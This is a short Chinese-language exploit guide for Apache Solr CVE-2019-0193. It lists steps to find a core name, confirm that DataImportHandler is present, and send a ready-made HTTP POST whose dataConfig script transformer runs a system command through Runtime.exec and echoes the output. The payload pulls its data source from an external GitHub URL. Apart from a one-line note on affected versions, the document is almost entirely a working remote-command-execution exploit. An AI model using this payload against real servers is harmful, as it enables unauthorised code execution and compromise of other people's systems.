solr远程命令执行（cve-2019-0193)

影响范围：apache solo < 8.2
solr默认使用端口为8983

一：获取solr索引库core的名称

http://192.168.96.79:8983/solr/admin/cores
查看name字段为atom

二：判断该索引库是否使用dataimporthandler模块

Atom为根据一找到的库名
http://192.168.96.79:8983/solr/atom/admin/mbeans?cat=QUERY&wt=json
访问该链接，若存在org.apache.solr.handler.dataimport.DataImportHandler 则有

三：任意命令执行

Atom为根据一查找出来进行替换的

POST /solr/atom/dataimport HTTP/1.1
Host: 192.168.96.79:8983
Content-Length: 1275
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=atom&name=dataimport&dataConfig=
<dataConfig>

  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){
 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("pwd").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}

  ]]></script>

        <document>
                <entity name="slashdot"
                        pk="link"
                        url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                        processor="XPathEntityProcessor"
                        forEach="/RDF/channel | /RDF/item"
                        transformer="script:poc">
                        <field column="subject"      xpath="/RDF/channel/subject" commonField="true" />
                        <field column="title"        xpath="/RDF/item/title" />
                        <field column="link"         xpath="/RDF/item/link" />
                </entity>
        </document>
</dataConfig>

返回页面存在回显

参考文档：https://github.com/1135/solr_exploit